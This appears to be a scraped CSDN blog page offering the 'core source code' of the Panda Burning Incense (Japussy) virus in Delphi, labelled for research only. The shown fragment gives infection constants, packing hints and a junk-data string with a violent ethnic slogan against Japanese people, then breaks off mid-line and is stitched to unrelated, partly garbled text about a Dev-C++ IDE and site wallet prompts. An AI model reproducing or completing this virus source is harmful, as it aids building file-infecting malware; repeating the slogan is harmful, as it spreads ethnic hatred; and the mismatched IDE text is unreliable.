熊猫烧香 - 核心源码 (僅供研究使用!後果自行負責 )

本文深入探讨了熊猫烧香病毒的核心源码,详细分析了其在Windows平台上的运行机制,包括Integer、Delphi编程技巧、字符串处理以及 DST(动态地址定位)等关键要素。警告:仅供研究,使用后果自负。
摘要由CSDN通过智能技术生成
熊猫烧香 - 核心源码
--------------------------------------------------------------------------------
僅供研究使用!後果自行負責

代码:--------------------------------------------------------------------------------
程序代码
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Jap
熊猫 Dev-C++ 是一个开源的 C/C++ 集成开发环境(IDE),它提供了一套工具和功能,方便开发者进行 C 和 C++ 程序的编写、调试和编译。 以下是一些使用熊猫 Dev-C++ 的基本步骤: 1. 下载和安装:您可以从小熊猫 Dev-C++ 的官方网站(https://www.bloodshed.net/devcpp.html)下载适用于您的操作系统的安装程序,并按照提示进行安装。 2. 创建新项目:启动小熊猫 Dev-C++ 后,点击菜单栏上的 "File",然后选择 "New",再选择 "Project"。在弹出的对话框中,选择 "Console Application"(控制台应用程序),并设置项目的名称和保存路径。 3. 编写代码:在项目中,您可以创建或打开源代码文件,并在其中编写 C 或 C++ 代码。您可以使用内置的编辑器进行代码编辑,也可以导入外部文件。 4. 调试程序:小熊猫 Dev-C++ 提供了调试功能,可以帮助您找出代码中的错误和问题。您可以设置断点、逐行执行代码,并查看变量的值和程序的执行流程。 5. 编译和运行:完成代码编写后,点击菜单栏上的 "Execute",然后选择 "Compile & Run",或使用快捷键 F9,来编译和运行您的程序。您可以在控制台窗口中看到程序的输出结。 请注意,小熊猫 Dev-C++ 是一个老旧的开发环境,并且已经很久没有更新,因此可能存在一些兼容性和稳定性问题。如您在使用过程中遇到任何问题,建议考虑使用其他更现代化的 C/C++ IDE,如Visual Studio Code、Code::Blocks、Eclipse 等。 希望对您有所帮助!如还有其他问题,请随时提问。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值